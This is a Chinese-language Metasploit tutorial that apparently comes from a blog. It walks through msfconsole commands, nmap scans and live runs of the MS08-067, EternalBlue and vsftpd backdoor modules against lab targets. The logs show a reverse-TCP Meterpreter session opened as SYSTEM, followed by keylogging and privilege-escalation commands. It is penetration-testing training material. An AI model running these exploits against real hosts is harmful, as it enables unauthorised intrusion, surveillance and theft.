衡水网站seo,wordpress 拖拽排序插件,WordPress采集更新文章,网站根目录验证文件是什么Metasploit-MSF框架从0到永恒之蓝
本文仅作为学习研究#xff0c;所需用到的靶机请自行搭建
Metasploit简介
Metasploit是一个渗透测试平台#xff0c;我们可以查找#xff0c;利用和验证漏洞#xff0c;附带数千个已知的软件漏洞#xff0c;并保持持续更新 Metasploit…Metasploit-MSF框架从0到永恒之蓝
本文仅作为学习研究所需用到的靶机请自行搭建
Metasploit简介
Metasploit是一个渗透测试平台我们可以查找利用和验证漏洞附带数千个已知的软件漏洞并保持持续更新 Metasploit可以用来信息收集、漏洞探测、漏洞利用等 渗透测试的全流程被安全社区冠以“可以黑掉整个宇宙”之名。 刚开始的Metasploit是采用Perl语言编写的但是再后 来的新版中改成了用Ruby语言编写的了。
Metasploit体系框架 Metasploitable2-Linux靶机系统介绍
Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机
开放了很多的高危端口如21、23、445等而且具有很多未打补丁的高危漏洞如Samba MS-RPC Shell命令注入漏洞等而且对外开放了很多服务并且数据库允许外联等。系统中的用户口令均为弱口令。系统 搭载了DVWA、Mutillidae等Web漏洞演练平台
默认账号密码msfadmin : msfadmin
Metasploit启动
先启动Postgresql数据库(起到记录数据的作用【信息收集】)直接启动启动Postgresql的同时启动Metasploit
第一种方式
启动Postgresql数据库
service postgresql start
停止数据库服务
service postgresql stop
启动Metasploit
msfconsole第二种方式
经常用
直接msfconsole数据库不启动也不会报错只是信息收集到的信息不会存储在数据库而已
第三种方式
经常用
msfdb run
不但启动数据库而且一并启动Metasploit框架查看数据库有没有启动
netstat -panto | grep 5432Metasploit常见的命令
show
show用于展示可用模块
有效参数是allencodersnopsexploitspayloadsauxiliarypostpluginsinfooptions
search
search我已知一个漏洞我想知道Metasploit里面是否有相关的模块就可以使用search进行搜索
直接擦护照search后直接跟要查找内容查找范围十分广泛
可以根据名字、路径、平台、类型、联合查询
模糊查询
例如
search ms08_Matching Modules
# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption1 exploit/windows/browser/ms08_078_xml_corruption 2008-12-07 normal No MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption2 auxiliary/admin/ms/ms08_059_his2006 2008-10-14 normal No Microsoft Host Integration Server 2006 Command Execution Vulnerability3 exploit/windows/browser/ms08_070_visual_studio_msmask 2008-08-13 normal No Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow4 exploit/windows/browser/ms08_041_snapshotviewer 2008-07-07 excellent No Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download5 exploit/windows/browser/ms08_053_mediaencoder 2008-09-09 normal No Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow6 auxiliary/fileformat/multidrop normal No Windows SMB Multi DropperInteract with a module by name or index. For example info 6, use 6 or use auxiliary/fileformat/multidrop 根据名字搜索
search name:mysql根据路径搜索
search path:mysql根据平台搜索
search platform:windows根据漏洞公布时间搜索
search date:2023根据类型搜索
search type:exploit根据rank搜索
search rank:excellent联合查询
search name:mysql type:exploit rank:excellentuse
use:使用具体某个模块
我们以微软在2008年爆出的ms08_067漏洞为例该漏洞可能允许远程执行代码
先通过search搜索到漏洞
然后复制漏洞的路径
使用use命令指定模块
use exploit/windows/smb/ms08_067_netapi进入使用模块
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) 获取更加详细的信息
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) infoName: MS08-067 Microsoft Server Service Relative Path Stack CorruptionModule: exploit/windows/smb/ms08_067_netapiPlatform: WindowsArch: Privileged: YesLicense: Metasploit Framework License (BSD)Rank: GreatDisclosed: 2008-10-28Provided by:hdm xhdm.ioBrett Moore brett.mooreinsomniasec.comfrank2 frank2dc949.orgjduck jduckmetasploit.comAvailable targets:Id Name-- ---- 0 Automatic Targeting1 Windows 2000 Universal2 Windows XP SP0/SP1 Universal3 Windows 2003 SP0 Universal4 Windows XP SP2 English (AlwaysOn NX)5 Windows XP SP2 English (NX)6 Windows XP SP3 English (AlwaysOn NX)7 Windows XP SP3 English (NX)8 Windows XP SP2 Arabic (NX)9 Windows XP SP2 Chinese - Traditional / Taiwan (NX)10 Windows XP SP2 Chinese - Simplified (NX)11 Windows XP SP2 Chinese - Traditional (NX)12 Windows XP SP2 Czech (NX)13 Windows XP SP2 Danish (NX)14 Windows XP SP2 German (NX)15 Windows XP SP2 Greek (NX)16 Windows XP SP2 Spanish (NX)17 Windows XP SP2 Finnish (NX)18 Windows XP SP2 French (NX)19 Windows XP SP2 Hebrew (NX)20 Windows XP SP2 Hungarian (NX)21 Windows XP SP2 Italian (NX)22 Windows XP SP2 Japanese (NX)23 Windows XP SP2 Korean (NX)24 Windows XP SP2 Dutch (NX)25 Windows XP SP2 Norwegian (NX)26 Windows XP SP2 Polish (NX)27 Windows XP SP2 Portuguese - Brazilian (NX)28 Windows XP SP2 Portuguese (NX)29 Windows XP SP2 Russian (NX)30 Windows XP SP2 Swedish (NX)31 Windows XP SP2 Turkish (NX)32 Windows XP SP3 Arabic (NX)33 Windows XP SP3 Chinese - Traditional / Taiwan (NX)34 Windows XP SP3 Chinese - Simplified (NX)35 Windows XP SP3 Chinese - Traditional (NX)36 Windows XP SP3 Czech (NX)37 Windows XP SP3 Danish (NX)38 Windows XP SP3 German (NX)39 Windows XP SP3 Greek (NX)40 Windows XP SP3 Spanish (NX)41 Windows XP SP3 Finnish (NX)42 Windows XP SP3 French (NX)43 Windows XP SP3 Hebrew (NX)44 Windows XP SP3 Hungarian (NX)45 Windows XP SP3 Italian (NX)46 Windows XP SP3 Japanese (NX)47 Windows XP SP3 Korean (NX)48 Windows XP SP3 Dutch (NX)49 Windows XP SP3 Norwegian (NX)50 Windows XP SP3 Polish (NX)51 Windows XP SP3 Portuguese - Brazilian (NX)52 Windows XP SP3 Portuguese (NX)53 Windows XP SP3 Russian (NX)54 Windows XP SP3 Swedish (NX)55 Windows XP SP3 Turkish (NX)56 Windows 2003 SP1 English (NO NX)57 Windows 2003 SP1 English (NX)58 Windows 2003 SP1 Japanese (NO NX)59 Windows 2003 SP1 Spanish (NO NX)60 Windows 2003 SP1 Spanish (NX)61 Windows 2003 SP1 French (NO NX)62 Windows 2003 SP1 French (NX)63 Windows 2003 SP2 English (NO NX)64 Windows 2003 SP2 English (NX)65 Windows 2003 SP2 German (NO NX)66 Windows 2003 SP2 German (NX)67 Windows 2003 SP2 Portuguese (NX)68 Windows 2003 SP2 Portuguese - Brazilian (NX)69 Windows 2003 SP2 Spanish (NO NX)70 Windows 2003 SP2 Spanish (NX)71 Windows 2003 SP2 Japanese (NO NX)72 Windows 2003 SP2 French (NO NX)73 Windows 2003 SP2 French (NX)74 Windows 2003 SP2 Chinese - Simplified (NX)75 Windows 2003 SP2 Czech (NX)76 Windows 2003 SP2 Dutch (NX)77 Windows 2003 SP2 Hungarian (NX)78 Windows 2003 SP2 Italian (NX)79 Windows 2003 SP2 Russian (NX)80 Windows 2003 SP2 Swedish (NX)81 Windows 2003 SP2 Turkish (NX)Check supported:YesBasic options:Name Current Sett Required Descriptioning---- ------------ -------- -----------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The SMB service port (TCP)SMBPIPE BROWSER yes The pipe name touse (BROWSER, SRVSVC)Payload information:Space: 408Avoid: 8 charactersDescription:This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.References:https://nvd.nist.gov/vuln/detail/CVE-2008-4250OSVDB (49243)https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dosView the full module info with the info -d command.
查看所有的参数
show optionsModule options (exploit/windows/smb/ms08_067_netapi):Name Current Sett Required Descriptioning---- ------------ -------- -----------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The SMB serviceport (TCP)SMBPIPE BROWSER yes The pipe name touse (BROWSER, SRVSVC)Payload options (windows/meterpreter/reverse_tcp):Name Current Set Required Descriptionting---- ----------- -------- -----------EXITFUNC thread yes Exit technique (Accepted: , seh, thread, process, none)LHOST 192.168.11. yes The listen addre129 ss (an interfacemay be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Automatic TargetingView the full module info with the info, or info -d command.
查看必须要添加的参数
msf6 exploit(windows/smb/ms08_067_netapi) show missingModule options (exploit/windows/smb/ms08_067_netapi):Name Current Sett Required Descriptioning---- ------------ -------- -----------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlPayload options (windows/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------
本处就必须添加PHOSTS
查看payload
msf6 exploit(windows/smb/ms08_067_netapi) show payloads查看可以攻击的目标
msf6 exploit(windows/smb/ms08_067_netapi) show targetsExploit targets:
Id Name-- ----0 Automatic Targeting1 Windows 2000 Universal2 Windows XP SP0/SP1 Universal3 Windows 2003 SP0 Universal4 Windows XP SP2 English (AlwaysOn NX)5 Windows XP SP2 English (NX)6 Windows XP SP3 English (AlwaysOn NX)7 Windows XP SP3 English (NX)8 Windows XP SP2 Arabic (NX)9 Windows XP SP2 Chinese - Traditional / Taiwan (NX)10 Windows XP SP2 Chinese - Simplified (NX)11 Windows XP SP2 Chinese - Traditional (NX)12 Windows XP SP2 Czech (NX)13 Windows XP SP2 Danish (NX)14 Windows XP SP2 German (NX)15 Windows XP SP2 Greek (NX)16 Windows XP SP2 Spanish (NX)17 Windows XP SP2 Finnish (NX)18 Windows XP SP2 French (NX)19 Windows XP SP2 Hebrew (NX)20 Windows XP SP2 Hungarian (NX)21 Windows XP SP2 Italian (NX)22 Windows XP SP2 Japanese (NX)23 Windows XP SP2 Korean (NX)24 Windows XP SP2 Dutch (NX)25 Windows XP SP2 Norwegian (NX)26 Windows XP SP2 Polish (NX)27 Windows XP SP2 Portuguese - Brazilian (NX)28 Windows XP SP2 Portuguese (NX)29 Windows XP SP2 Russian (NX)30 Windows XP SP2 Swedish (NX)31 Windows XP SP2 Turkish (NX)32 Windows XP SP3 Arabic (NX)33 Windows XP SP3 Chinese - Traditional / Taiwan (NX)34 Windows XP SP3 Chinese - Simplified (NX)35 Windows XP SP3 Chinese - Traditional (NX)36 Windows XP SP3 Czech (NX)37 Windows XP SP3 Danish (NX)38 Windows XP SP3 German (NX)39 Windows XP SP3 Greek (NX)40 Windows XP SP3 Spanish (NX)41 Windows XP SP3 Finnish (NX)42 Windows XP SP3 French (NX)43 Windows XP SP3 Hebrew (NX)44 Windows XP SP3 Hungarian (NX)45 Windows XP SP3 Italian (NX)46 Windows XP SP3 Japanese (NX)47 Windows XP SP3 Korean (NX)48 Windows XP SP3 Dutch (NX)49 Windows XP SP3 Norwegian (NX)50 Windows XP SP3 Polish (NX)51 Windows XP SP3 Portuguese - Brazilian (NX)52 Windows XP SP3 Portuguese (NX)53 Windows XP SP3 Russian (NX)54 Windows XP SP3 Swedish (NX)55 Windows XP SP3 Turkish (NX)56 Windows 2003 SP1 English (NO NX)57 Windows 2003 SP1 English (NX)58 Windows 2003 SP1 Japanese (NO NX)59 Windows 2003 SP1 Spanish (NO NX)60 Windows 2003 SP1 Spanish (NX)61 Windows 2003 SP1 French (NO NX)62 Windows 2003 SP1 French (NX)63 Windows 2003 SP2 English (NO NX)64 Windows 2003 SP2 English (NX)65 Windows 2003 SP2 German (NO NX)66 Windows 2003 SP2 German (NX)67 Windows 2003 SP2 Portuguese (NX)68 Windows 2003 SP2 Portuguese - Brazilian (NX)69 Windows 2003 SP2 Spanish (NO NX)70 Windows 2003 SP2 Spanish (NX)71 Windows 2003 SP2 Japanese (NO NX)72 Windows 2003 SP2 French (NO NX)73 Windows 2003 SP2 French (NX)74 Windows 2003 SP2 Chinese - Simplified (NX)75 Windows 2003 SP2 Czech (NX)76 Windows 2003 SP2 Dutch (NX)77 Windows 2003 SP2 Hungarian (NX)78 Windows 2003 SP2 Italian (NX)79 Windows 2003 SP2 Russian (NX)80 Windows 2003 SP2 Swedish (NX)81 Windows 2003 SP2 Turkish (NX)退出指定的模块
msf6 exploit(windows/smb/ms08_067_netapi) backset
set用于设置选项中的参数
之前我们看到show missing缺失RHOSTS参数
我们直接将靶机的IP地址设置进去
msf6 exploit(windows/smb/ms08_067_netapi) set RHOSTS 192.168.11.130
RHOSTS 192.168.11.130查看设置是否正确
show optionsModule options (exploit/windows/smb/ms08_067_netapi):Name Current Sett Required Descriptioning---- ------------ -------- -----------RHOSTS 192.168.11.1 yes The target host(30 s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlRPORT 445 yes The SMB serviceport (TCP)SMBPIPE BROWSER yes The pipe name touse (BROWSER, SRVSVC)Payload options (windows/meterpreter/reverse_tcp):Name Current Set Required Descriptionting---- ----------- -------- -----------EXITFUNC thread yes Exit technique (Accepted: , seh, thread, process, none)LHOST 192.168.11. yes The listen addre129 ss (an interfacemay be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 Automatic TargetingView the full module info with the info, or info -d command.
可以看到已经成功设置
取消设置
msf6 exploit(windows/smb/ms08_067_netapi) unset RHOSTSexploit/run
exploit/run执行我们准备的payload
msf6 exploit(windows/smb/ms08_067_netapi) run[*] Started reverse TCP handler on 192.168.11.129:4444
[*] 192.168.11.130:445 - Automatically detecting the target...
[*] 192.168.11.130:445 - Fingerprint: Unknown - - lang:Unknown
[-] 192.168.11.130:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.msf6 exploit(windows/smb/ms08_067_netapi) exploit[*] Started reverse TCP handler on 192.168.11.129:4444
[*] 192.168.11.130:445 - Automatically detecting the target...
[*] 192.168.11.130:445 - Fingerprint: Unknown - - lang:Unknown
[-] 192.168.11.130:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.exploit和run的区别
exploit可以添加参数
后台运行
msf6 exploit(windows/smb/ms08_067_netapi) exploit -j通过这个可以保留会话以待连接
查看会话
sessions -l连接会话序号为1的会话
sessions -i 1run不能添加参数
Metasploit攻击流程
已知漏洞-查找模块-配置程序-run/exploit
Metasploit小试牛刀
永恒之蓝
简介
永恒之蓝概述: 永恒之蓝是指2017年4月14日晚黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具其中包含“永恒之蓝”工具“永恒之蓝”利用 Windows系统的 SMB漏洞可以获取系统最高权限。
5月12 日不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招被勒索支付高额赎金才能解密恢复文件
前提准备
准备好一个Win7的靶机开放445端口关闭防火墙
开放445端口 然后进入高级共享设置
打开文件和打印机共享就已经开启445端口了 信息收集
使用Aux模块进行信息收集
先搜索永恒之蓝对应的ms编号ms17_010
msf6 search ms17_010Matching Modules
# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE DetectionInteract with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010 选择编号为3的Aux模块
msf6 use auxiliary/scanner/smb/smb_ms17_010查看必选的参数
msf6 auxiliary(scanner/sm
b/smb_ms17_010) show missingModule options (auxiliary/scanner/smb/smb_ms17_010):Name Current Required DescriptiSetting on---- -------- -------- ---------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html发现只需要填写RHOSTS
我们set RHOSTS
msf6 auxiliary(scanner/sm
b/smb_ms17_010) set RHOST 192.168.11.131
RHOST 192.168.11.131然后直接run
msf6 auxiliary(scanner/smb/smb_ms17_010) run [] 192.168.11.135:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.11.135:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/sm显示号代表成功发现永恒之蓝漏洞
我们接下来使用exploit进行漏洞复现
msf6 search ms17_010Matching Modules
# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE DetectionInteract with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010 我们这边选择0号进行复现
msf6 use exploit/windows/smb/ms17_010_eternalblue同样查看必填的参数
msf6 exploit(windows/smb/
ms17_010_eternalblue) show missingModule options (exploit/windows/smb/ms17_010_eternalblue):Name Current Required DescriptiSetting on---- -------- -------- ---------RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htmlPayload options (windows/x64/meterpreter/reverse_tcp):Name Current S Required Descriptioetting n---- --------- -------- ----------我们set RHOSTS
msf6 exploit(windows/smb/
ms17_010_eternalblue) set RHOSTS 192.168.11.135
RHOSTS 192.168.11.135直接运行
msf6 exploit(windows/smb/
ms17_010_eternalblue) run [*] Started reverse TCP handler on 192.168.11.129:4444
[*] 192.168.11.135:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[] 192.168.11.135:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.11.135:445 - Scanned 1 of 1 hosts (100% complete)
[] 192.168.11.135:445 - The target is vulnerable.
[*] 192.168.11.135:445 - Connecting to target for exploitation.
[] 192.168.11.135:445 - Connection established for exploitation.
[] 192.168.11.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.11.135:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.11.135:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.11.135:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.11.135:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[] 192.168.11.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.11.135:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.11.135:445 - Sending all but last fragment of exploit packet
[*] 192.168.11.135:445 - Starting non-paged pool grooming
[] 192.168.11.135:445 - Sending SMBv2 buffers
[] 192.168.11.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.11.135:445 - Sending final SMBv2 buffers.
[*] 192.168.11.135:445 - Sending last fragment of exploit packet!
[*] 192.168.11.135:445 - Receiving response from exploit packet
[] 192.168.11.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.11.135:445 - Sending egg to corrupted connection.
[*] 192.168.11.135:445 - Triggering free of corrupted buffer.
[-] 192.168.11.135:445 - ------------------------------
[-] 192.168.11.135:445 - -------------FAIL---------------
[-] 192.168.11.135:445 - ------------------------------
[*] 192.168.11.135:445 - Connecting to target for exploitation.
[] 192.168.11.135:445 - Connection established for exploitation.
[] 192.168.11.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.11.135:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.11.135:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.11.135:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.11.135:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[] 192.168.11.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.11.135:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.11.135:445 - Sending all but last fragment of exploit packet
[*] 192.168.11.135:445 - Starting non-paged pool grooming
[] 192.168.11.135:445 - Sending SMBv2 buffers
[] 192.168.11.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.11.135:445 - Sending final SMBv2 buffers.
[*] 192.168.11.135:445 - Sending last fragment of exploit packet!
[*] 192.168.11.135:445 - Receiving response from exploit packet
[] 192.168.11.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.11.135:445 - Sending egg to corrupted connection.
[*] 192.168.11.135:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.11.135
[*] Meterpreter session 1 opened (192.168.11.129:4444 - 192.168.11.135:49158) at 2023-08-30 08:39:01 -0400
[] 192.168.11.135:445 - ------------------------------
[] 192.168.11.135:445 - -------------WIN----------------
[] 192.168.11.135:445 - ------------------------------随便输入一个命令
meterpreter pwd
C:\Windows\system32成功
PS本处之所以可以执行Linux命令在Windows达到同样的效果是因为MSF框架对这些命令进行了改进使之可以通用于Windows
退出exit
Metasploit靶机信息收集
使用nmap进行信息收集
TCP连接扫描
主机发现
nmap -sP 192.168.11.0/24Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 21:36 EDT
Nmap scan report for 192.168.11.1
Host is up (0.000096s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.11.2
Host is up (0.000088s latency).
MAC Address: 00:50:56:EB:D1:3B (VMware)
Nmap scan report for 192.168.11.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:F6:F2:C4 (VMware)
Nmap scan report for 192.168.11.254
Host is up (0.00013s latency).
MAC Address: 00:50:56:EC:CE:CA (VMware)
Nmap scan report for 192.168.11.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) s1、2、254是kali的广播地址
129是kali的IP地址
所以我们的目标靶机地址是130
接下来对目标靶机地址进行详细的信息收集
nmap -sT 192.168.11.130Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 22:14 EDT
Nmap scan report for 192.168.11.130
Host is up (0.0034s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:F6:F2:C4 (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds进行版本探测
nmap -sV 192.168.11.130Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 22:26 EDT
Nmap scan report for 192.168.11.130
Host is up (0.0029s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:F6:F2:C4 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.69 secondsPS补充脚本
该脚本可以对目标主机或网段扫描是否存在常见的漏洞
nmap --scriptvuln 192.168.11.130进行漏洞查询
我们拿这个进行查询
21/tcp open ftp vsftpd 2.3.4直接去CVE漏洞库中搜索vsftpd 2.3.4 找到对应的CVE 再到MSF框架中进行搜索
很遗憾我们这边对应的CVE在MSF中没有搜索到
那么我们可以采用在MSF中直接搜索vsftpd 再看看对应的版本正好是2.3.4
我们可以直接进行利用
同样按照之前的操作
use exploit/unix/ftp/vsftpd_234_backdoor
show missing
set RHOSTS 192.168.11.130
run成功连接
Meterpreter
Meterpreter介绍
Meterpreter是Metasploit框架中的一个扩展模块作为溢出成功以后的攻击载荷使用攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能比如添加一个用户、隐藏一些东西、打开shell、得到用户 密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕捉按键信息、清楚应用程序、显示、远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
Meterpreter常用命令
background返回把meterpreter后台挂起
sessions查看当前建立的会话
ps查看进程
getpid查看当前进程号
sysinfo查看系统信息
getsystem自动提权
getuid查看当前权限
run scraper获取目标主机的详细信息
cat、cd、rm、edit访问文件系统
run post/windows/gather/enum_applications先查看目标主机安装了哪些应用
screenshot屏幕截图
keyscan_start、keyscan_dump、keyscan_stop键盘记录
run vnc屏幕监控
本处我们采用之前的永恒之蓝漏洞进行展示
先按照上面的流程将永恒之蓝复现获取shell
meterpreter background [*] Backgrounding session 1...同exploit -j的效果一样都是后台挂起会话
我们使用sessions查看
msf6 exploit(windows/smb/ms17_010_eternalblue) sessions -lActive sessions
Id Name Type Informat Connectiion on-- ---- ---- -------- --------1 meterpre NT AUTHO 192.168.ter x64/ RITY\SYS 11.129:4windows TEM WI 444 - 1N-B288VI 92.168.16HEBH 1.135:49159 (192.168.11.135)使用
msf6 exploit(windows/smb/ms17_010_eternalblue) sessions -i 1[*] Starting interaction with 1...meterpreter 重新连接
查看进程
meterpreter psProcess List
PID PPID Name Arch Session User Path--- ---- ---- ---- ------- ---- ----0 0 [System Process]4 0 System x64 0224 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe292 284 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe328 284 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe340 320 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe380 320 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe424 328 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe432 328 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe440 328 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe544 424 svchost.exe x64 0 NT AUTHORITY\SYSTEM612 424 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE664 424 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE724 424 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe776 424 svchost.exe x64 0 NT AUTHORITY\SYSTEM828 424 svchost.exe x64 0 NT AUTHORITY\SYSTEM896 424 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE940 424 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE1000 424 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE1012 424 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE1196 424 taskhost.exe x64 1 WIN-B288VI6HEBH\admin C:\Windows\system32\taskhost.exe1296 424 SearchIndexer.e x64 0 NT AUTHORITY\SYSTEMxe1376 776 dwm.exe x64 1 WIN-B288VI6HEBH\admin C:\Windows\system32\Dwm.exe1392 1340 explorer.exe x64 1 WIN-B288VI6HEBH\admin 